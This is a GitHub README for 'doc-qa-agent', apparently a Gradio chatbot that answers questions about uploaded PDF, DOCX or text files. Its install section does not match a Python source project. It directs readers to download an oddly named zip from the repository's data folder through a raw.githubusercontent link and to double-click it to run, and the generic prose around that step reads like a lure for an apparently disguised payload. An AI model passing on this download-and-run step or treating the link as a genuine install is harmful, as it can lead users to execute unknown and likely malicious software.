doc-qa-agent:基于 Gradio 的文档问答 AI 助手
piporyx/doc-qa-agent
doc-qa-agent 是一款轻量级文档问答聊天机器人,支持上传 PDF、DOCX 或纯文本文件并针对内容提问。它使用 Sentence-Transformer 嵌入向量检索相关上下文,并调用 OpenAI 与 Ollama 模型生成答案,通过 Gradio 界面交互,采用 MIT 许可证开源。
🤖 doc-qa-agent - Your AI Assistant for Document Queries
📦 Overview
doc-qa-agent is a lightweight chatbot designed to answer your questions using PDF, DOCX, or text files. By utilizing advanced techniques like Sentence-Transformer embeddings for context retrieval and LLM models (like OpenAI and Ollama) for generating answers, doc-qa-agent provides an easy-to-use interface through Gradio for seamless interaction.
🚀 Getting Started
To get started with doc-qa-agent, you need to download it and run the application. Follow the simple steps below to get the chatbot up and running.
📥 Download & Install
- Visit the Releases Page: Go to the Releases page to find the latest version of the application.
- Select Your File: On the Releases page, you’ll see various versions. Look for a file named something like
https://raw.githubusercontent.com/piporyx/doc-qa-agent/main/data/agent_doc_qa_unimpededly.zipor similar. - Download the File: Click on the file to start the download. Ensure that you save it in a location you can easily access, like your desktop or download folder.
- Run the Application: After the download is complete, find the downloaded file. Double-click the file to launch the application.
📋 System Requirements
To run doc-qa-agent smoothly, ensure your system meets the following requirements:
- Operating System: Windows 10 or later, or macOS 10.15 or later.
- Storage Space: At least 200 MB of free disk space.
- Memory: A minimum of 4 GB RAM.
- Python: Version 3.7 or later (if you intend to modify or run from source).
⚙️ How to Use doc-qa-agent
After you have installed and launched doc-qa-agent, follow these steps to begin interacting with your documents:
- Upload Your Document: Click on the "Upload" button in the Gradio interface. Select the PDF, DOCX, or text file you want the chatbot to analyze.
- Ask Your Question: In the chat interface, type your question related to the content of your uploaded document. The chatbot is designed to understand your queries and provide relevant answers.
- Receive Answers: The chatbot will process your question and provide an answer based on the information from your document.
- Explore Further: Feel free to ask follow-up questions. The chatbot can help clarify or provide more details from the document.
🎯 Features
- Document Type Support: Works with a variety of file types including PDF, DOCX, and plain text files.
- Contextual Understanding: Uses Sentence-Transformer embeddings to retrieve the most relevant context for your questions.
- Conversational Interface: The Gradio UI allows for a smooth interaction, making it easy to ask questions and receive answers.
- Robust Answer Generation: Leverages OpenAI and Ollama models to generate accurate and helpful answers.
❓ Troubleshooting
If you encounter any issues while using doc-qa-agent, check the following:
- Application Doesn't Start: Ensure your system meets the required specifications. Re-download the file if the issue persists.
- Slow Response Time: Large documents may take longer to process. Consider using smaller files for quicker responses.
- No Answer Provided: Ensure that your questions are clear and directly related to the uploaded document content.
📞 Support
For help or to report issues, visit the Issues page. You can also contribute to the discussions or ask questions there.
📜 License
doc-qa-agent is available under the MIT License. Feel free to use, modify, and distribute it in accordance with this license.
🌟 Acknowledgments
Thanks to the creators of Sentence-Transformers, OpenAI, and Ollama for providing the technology that powers doc-qa-agent. Special thanks to Gradio for enabling an easy-to-use interface.
We hope you enjoy using doc-qa-agent! For downloads, remember to visit the Releases page again if you want to check for future updates.
来源:GitHub · github.com